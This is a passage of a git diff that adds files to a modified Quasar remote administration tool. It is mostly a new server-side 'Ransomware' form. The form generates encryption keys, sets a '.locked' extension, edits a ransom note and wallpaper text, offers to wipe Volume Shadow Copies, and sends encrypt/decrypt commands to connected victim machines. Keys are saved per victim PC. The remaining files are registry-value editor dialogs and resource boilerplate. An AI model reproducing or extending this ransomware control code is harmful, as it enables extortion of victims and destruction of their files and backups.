"Save Key"; + this.btnSaveKey.UseVisualStyleBackColor = true; + this.btnSaveKey.Click += new System.EventHandler(this.btnSaveKey_Click); + // + // btnCopyKey + // + this.btnCopyKey.Location = new System.Drawing.Point(812, 31); + this.btnCopyKey.Margin = new System.Windows.Forms.Padding(4); + this.btnCopyKey.Name = "btnCopyKey"; + this.btnCopyKey.Size = new System.Drawing.Size(112, 29); + this.btnCopyKey.TabIndex = 4; + this.btnCopyKey.Text = "Copy Key"; + this.btnCopyKey.UseVisualStyleBackColor = true; + this.btnCopyKey.Click += new System.EventHandler(this.btnCopyKey_Click); + // + // txtKey + // + this.txtKey.Location = new System.Drawing.Point(150, 31); + this.txtKey.Margin = new System.Windows.Forms.Padding(4); + this.txtKey.Name = "txtKey"; + this.txtKey.Size = new System.Drawing.Size(524, 26); + this.txtKey.TabIndex = 1; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(19, 35); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(103, 19); + this.label1.TabIndex = 0; + this.label1.Text = "Encryption Key:"; + // + // txtExtension + // + this.txtExtension.Location = new System.Drawing.Point(150, 75); + this.txtExtension.Margin = new System.Windows.Forms.Padding(4); + this.txtExtension.Name = "txtExtension"; + this.txtExtension.Size = new System.Drawing.Size(249, 26); + this.txtExtension.TabIndex = 3; + this.txtExtension.Text = ".locked"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(19, 79); + this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(94, 19); + this.label2.TabIndex = 2; + this.label2.Text = "File Extension:"; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.txtWallpaperText); + this.groupBox2.Controls.Add(this.chkWallpaper); + this.groupBox2.Controls.Add(this.txtRansomNote); + this.groupBox2.Controls.Add(this.label3); + this.groupBox2.Location = new System.Drawing.Point(15, 148); + this.groupBox2.Margin = new System.Windows.Forms.Padding(4); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Padding = new System.Windows.Forms.Padding(4); + this.groupBox2.Size = new System.Drawing.Size(950, 225); + this.groupBox2.TabIndex = 1; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "Ransom Note & Wallpaper"; + // + // txtWallpaperText + // + this.txtWallpaperText.ForeColor = System.Drawing.Color.White; + this.txtWallpaperText.Location = new System.Drawing.Point(188, 191); + this.txtWallpaperText.Margin = new System.Windows.Forms.Padding(4); + this.txtWallpaperText.Name = "txtWallpaperText"; + this.txtWallpaperText.Size = new System.Drawing.Size(736, 26); + this.txtWallpaperText.TabIndex = 3; + this.txtWallpaperText.Text = "YOUR FILES HAVE BEEN ENCRYPTED!"; + // + // chkWallpaper + // + this.chkWallpaper.AutoSize = true; + this.chkWallpaper.Location = new System.Drawing.Point(19, 193); + this.chkWallpaper.Margin = new System.Windows.Forms.Padding(4); + this.chkWallpaper.Name = "chkWallpaper"; + this.chkWallpaper.Size = new System.Drawing.Size(142, 23); + this.chkWallpaper.TabIndex = 2; + this.chkWallpaper.Text = "Change Wallpaper"; + // + // txtRansomNote + // + this.txtRansomNote.Location = new System.Drawing.Point(19, 50); + this.txtRansomNote.Margin = new System.Windows.Forms.Padding(4); + this.txtRansomNote.Multiline = true; + this.txtRansomNote.Name = "txtRansomNote"; + this.txtRansomNote.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtRansomNote.Size = new System.Drawing.Size(905, 133); + this.txtRansomNote.TabIndex = 1; + this.txtRansomNote.Text = "Your files have been encrypted!\r\nContact us to get the decryption key."; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(19, 30); + this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(95, 19); + this.label3.TabIndex = 0; + this.label3.Text = "Ransom Note:"; + // + // chkWipeVSS + // + this.chkWipeVSS.AutoSize = true; + this.chkWipeVSS.Checked = true; + this.chkWipeVSS.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkWipeVSS.ForeColor = System.Drawing.Color.White; + this.chkWipeVSS.Location = new System.Drawing.Point(15, 380); + this.chkWipeVSS.Name = "chkWipeVSS"; + this.chkWipeVSS.Size = new System.Drawing.Size(180, 19); + this.chkWipeVSS.TabIndex = 14; + this.chkWipeVSS.Text = "Wipe Volume Shadow Copies"; + this.chkWipeVSS.UseVisualStyleBackColor = true; + // + // groupBox3 + // + this.groupBox3.Controls.Add(this.txtLog); + this.groupBox3.Location = new System.Drawing.Point(15, 380); + this.groupBox3.Margin = new System.Windows.Forms.Padding(4); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Padding = new System.Windows.Forms.Padding(4); + this.groupBox3.Size = new System.Drawing.Size(950, 250); + this.groupBox3.TabIndex = 2; + this.groupBox3.TabStop = false; + this.groupBox3.Text = "Log"; + // + // txtLog + // + this.txtLog.BackColor = System.Drawing.Color.Black; + this.txtLog.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtLog.ForeColor = System.Drawing.Color.White; + this.txtLog.Location = new System.Drawing.Point(19, 31); + this.txtLog.Margin = new System.Windows.Forms.Padding(4); + this.txtLog.Name = "txtLog"; + this.txtLog.ReadOnly = true; + this.txtLog.Size = new System.Drawing.Size(905, 199); + this.txtLog.TabIndex = 0; + this.txtLog.Text = ""; + // + // btnEncrypt + // + this.btnEncrypt.Font = new System.Drawing.Font("Segoe UI", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnEncrypt.ForeColor = System.Drawing.Color.White; + this.btnEncrypt.Location = new System.Drawing.Point(15, 638); + this.btnEncrypt.Margin = new System.Windows.Forms.Padding(4); + this.btnEncrypt.Name = "btnEncrypt"; + this.btnEncrypt.Size = new System.Drawing.Size(462, 50); + this.btnEncrypt.TabIndex = 3; + this.btnEncrypt.Text = "ENCRYPT FILES"; + this.btnEncrypt.UseVisualStyleBackColor = true; + this.btnEncrypt.Click += new System.EventHandler(this.btnEncrypt_Click); + // + // btnDecrypt + // + this.btnDecrypt.Font = new System.Drawing.Font("Segoe UI", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnDecrypt.ForeColor = System.Drawing.Color.White; + this.btnDecrypt.Location = new System.Drawing.Point(502, 638); + this.btnDecrypt.Margin = new System.Windows.Forms.Padding(4); + this.btnDecrypt.Name = "btnDecrypt"; + this.btnDecrypt.Size = new System.Drawing.Size(462, 50); + this.btnDecrypt.TabIndex = 4; + this.btnDecrypt.Text = "DECRYPT FILES"; + this.btnDecrypt.UseVisualStyleBackColor = true; + this.btnDecrypt.Click += new System.EventHandler(this.btnDecrypt_Click); + // + // FrmRansomware + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(980, 702); + this.Controls.Add(this.btnDecrypt); + this.Controls.Add(this.btnEncrypt); + this.Controls.Add(this.groupBox3); + this.Controls.Add(this.groupBox2); + this.Controls.Add(this.groupBox1); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Margin = new System.Windows.Forms.Padding(4); + this.MaximizeBox = false; + this.Name = "FrmRansomware"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Ransomware"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRansomware_FormClosing); + this.Load += new System.EventHandler(this.FrmRansomware_Load); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.groupBox3.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.TextBox txtKey; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox txtExtension; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.TextBox txtRansomNote; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.CheckBox chkWallpaper; + private System.Windows.Forms.CheckBox chkWipeVSS; + private System.Windows.Forms.TextBox txtWallpaperText; + private System.Windows.Forms.GroupBox groupBox3; + private System.Windows.Forms.RichTextBox txtLog; + private System.Windows.Forms.Button btnEncrypt; + private System.Windows.Forms.Button btnDecrypt; + private System.Windows.Forms.Button btnCopyKey; + private System.Windows.Forms.Button btnSaveKey; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.cs new file mode 100755 index 0000000..d85a964 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.cs @@ -0,0 +1,234 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRansomware : Form + { + private readonly Client _client; + private string _encryptionKey; + + public FrmRansomware(Client client) + { + _client = client; + InitializeComponent(); + } + + private void FrmRansomware_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"Ransomware - {_client.EndPoint}"; + _encryptionKey = Guid.NewGuid().ToString("N"); + txtKey.Text = _encryptionKey; + + Messages.RansomwareHandler.RegisterForm(_client, this); + + AddLog("Ransomware ready. Encryption key generated.", Color.Green); + AddLog("Save the key to decrypt files later!", Color.Orange); + } + + private void btnEncrypt_Click(object sender, EventArgs e) + { + // Single confirmation + var result = MessageBox.Show( + "Start encryption?\n\n" + + "Extension: " + txtExtension.Text + "\n" + + "Key: " + txtKey.Text + "\n\n" + + "Save the key to decrypt later!", + "Confirm Encryption", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result != DialogResult.Yes) + return; + + // Proceed with encryption + btnEncrypt.Enabled = false; + btnDecrypt.Enabled = false; + + AddLog("Starting encryption process...", Color.Red); + AddLog($"Extension: {txtExtension.Text}", Color.White); + AddLog($"Key: {txtKey.Text}", Color.White); + + var ransomware = new DoRansomware + { + Action = "ENCRYPT", + EncryptionKey = txtKey.Text, + FileExtension = txtExtension.Text, + RansomNote = txtRansomNote.Text, + ChangeWallpaper = chkWallpaper.Checked, + WallpaperText = txtWallpaperText.Text + }; + + _client.Send(ransomware); + } + + private void btnDecrypt_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtKey.Text)) + { + MessageBox.Show("Please enter the encryption key!", "Key Required", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + var result = MessageBox.Show( + "Start decryption process?\n\n" + + "Extension: " + txtExtension.Text + "\n" + + "Key: " + txtKey.Text + "\n\n" + + "The system will verify the key and skip files that can't be decrypted.\n" + + "Make sure the key is correct!", + "Confirm Decryption", + MessageBoxButtons.YesNo, + MessageBoxIcon.Question); + + if (result != DialogResult.Yes) + return; + + btnEncrypt.Enabled = false; + btnDecrypt.Enabled = false; + + AddLog("Starting decryption process...", Color.Green); + AddLog($"Extension: {txtExtension.Text}", Color.White); + AddLog($"Key: {txtKey.Text}", Color.White); + AddLog("Files with wrong key will be skipped.", Color.Yellow); + + var ransomware = new DoRansomware + { + Action = "DECRYPT", + EncryptionKey = txtKey.Text, + FileExtension = txtExtension.Text + }; + + _client.Send(ransomware); + } + + public void UpdateProgress(RansomwareResponse response) + { + if (InvokeRequired) + { + Invoke(new Action(() => UpdateProgress(response))); + return; + } + + Color color = response.Status == "ERROR" ? Color.Red : + response.Status == "COMPLETED" ? Color.Green : + Color.Yellow; + + AddLog($"[{response.Status}] {response.Message}", color); + + if (response.IsComplete) + { + btnEncrypt.Enabled = true; + btnDecrypt.Enabled = true; + } + } + + private void AddLog(string message, Color color) + { + if (InvokeRequired) + { + Invoke(new Action(() => AddLog(message, color))); + return; + } + + txtLog.SelectionStart = txtLog.TextLength; + txtLog.SelectionLength = 0; + txtLog.SelectionColor = color; + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {message}\r\n"); + txtLog.SelectionColor = txtLog.ForeColor; + txtLog.ScrollToCaret(); + } + + private void btnCopyKey_Click(object sender, EventArgs e) + { + if (!string.IsNullOrWhiteSpace(txtKey.Text)) + { + Clipboard.SetText(txtKey.Text); + MessageBox.Show("Encryption key copied to clipboard!", "Copied", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void btnSaveKey_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtKey.Text)) + { + MessageBox.Show("No key to save!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + try + { + // Get PC name and tag from client + string pcName = _client.Value.PcName ?? "Unknown"; + string tag = _client.Value.Tag?.ToString() ?? "NoTag"; + + // Sanitize for filename + foreach (char c in System.IO.Path.GetInvalidFileNameChars()) + { + pcName = pcName.Replace(c, '_'); + tag = tag.Replace(c, '_'); + } + + // Create specialized folder on desktop + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string folderPath = System.IO.Path.Combine(desktopPath, "Ransomware_Keys"); + + if (!System.IO.Directory.Exists(folderPath)) + { + System.IO.Directory.CreateDirectory(folderPath); + } + + string fileName = $"Key_{pcName}_{tag}_{DateTime.Now:yyyyMMdd_HHmmss}.txt"; + string filePath = System.IO.Path.Combine(folderPath, fileName); + + string content = $"Ransomware Encryption Key\r\n" + + $"==========================\r\n" + + $"PC Name: {pcName}\r\n" + + $"Tag: {tag}\r\n" + + $"Date: {DateTime.Now:yyyy-MM-dd HH:mm:ss}\r\n" + + $"Extension: {txtExtension.Text}\r\n" + + $"\r\n" + + $"Encryption Key:\r\n" + + $"{txtKey.Text}\r\n" + + $"\r\n" + + $"IMPORTANT: Keep this key safe! You need it to decrypt files.\r\n"; + + System.IO.File.WriteAllText(filePath, content); + + MessageBox.Show($"Key saved to:\n{filePath}", "Key Saved", MessageBoxButtons.OK, MessageBoxIcon.Information); + AddLog($"Key saved: {fileName}", Color.Green); + } + catch (Exception ex) + { + MessageBox.Show($"Failed to save key: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void FrmRansomware_FormClosing(object sender, FormClosingEventArgs e) + { + Messages.RansomwareHandler.UnregisterForm(_client); + + // Warn if closing during operation + if (!btnEncrypt.Enabled) + { + var result = MessageBox.Show( + "An operation is in progress. Are you sure you want to close?", + "Operation in Progress", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result != DialogResult.Yes) + e.Cancel = true; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRansomware.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs new file mode 100755 index 0000000..ce14d43 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs @@ -0,0 +1,143 @@ +using Quasar.Server.Controls.HexEditor; + +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditBinary + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.hexEditor = new HexEditor(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 31); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(341, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 15); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 54); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(278, 273); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(197, 273); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // hexEditor + // + this.hexEditor.BackColor = System.Drawing.Color.White; + this.hexEditor.BorderColor = System.Drawing.Color.Empty; + this.hexEditor.Cursor = System.Windows.Forms.Cursors.IBeam; + this.hexEditor.EntityMargin = 8; + this.hexEditor.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.hexEditor.Location = new System.Drawing.Point(12, 71); + this.hexEditor.Margin = new System.Windows.Forms.Padding(0, 2, 3, 3); + this.hexEditor.Name = "hexEditor"; + this.hexEditor.Size = new System.Drawing.Size(341, 196); + this.hexEditor.TabIndex = 0; + this.hexEditor.VScrollBarVisisble = true; + // + // FrmRegValueEditBinary + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(365, 304); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.hexEditor); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditBinary"; + this.ShowIcon = false; + this.Text = "Edit Binary"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private Controls.HexEditor.HexEditor hexEditor; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.cs new file mode 100755 index 0000000..72af620 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.cs @@ -0,0 +1,50 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditBinary : Form + { + private readonly RegValueData _value; + + private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly."; + + public FrmRegValueEditBinary(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + hexEditor.HexTable = value.Data; + } + + private void okButton_Click(object sender, EventArgs e) + { + byte[] bytes = hexEditor.HexTable; + if (bytes != null) + { + try + { + _value.Data = bytes; + this.DialogResult = DialogResult.OK; + this.Tag = _value; + } + catch + { + ShowWarning(INVALID_BINARY_ERROR, "Warning"); + this.DialogResult = DialogResult.None; + } + } + + this.Close(); + } + + private void ShowWarning(string msg, string caption) + { + MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditBinary.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs new file mode 100755 index 0000000..0f38168 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs @@ -0,0 +1,140 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditMultiString + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.valueDataTxtBox = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(15, 25); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(346, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(12, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(12, 53); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(286, 330); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(205, 330); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // valueDataTxtBox + // + this.valueDataTxtBox.AcceptsReturn = true; + this.valueDataTxtBox.Location = new System.Drawing.Point(15, 72); + this.valueDataTxtBox.Multiline = true; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.valueDataTxtBox.Size = new System.Drawing.Size(346, 252); + this.valueDataTxtBox.TabIndex = 0; + this.valueDataTxtBox.WordWrap = false; + // + // FrmRegValueEditMultiString + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(373, 365); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditMultiString"; + this.ShowIcon = false; + this.Text = "Edit Multi-String"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private System.Windows.Forms.TextBox valueDataTxtBox; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.cs new file mode 100755 index 0000000..7d68517 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.cs @@ -0,0 +1,30 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditMultiString : Form + { + private readonly RegValueData _value; + + public FrmRegValueEditMultiString(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = value.Name; + this.valueDataTxtBox.Text = string.Join("\r\n", ByteConverter.ToStringArray(value.Data)); + } + + private void okButton_Click(object sender, EventArgs e) + { + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries)); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ 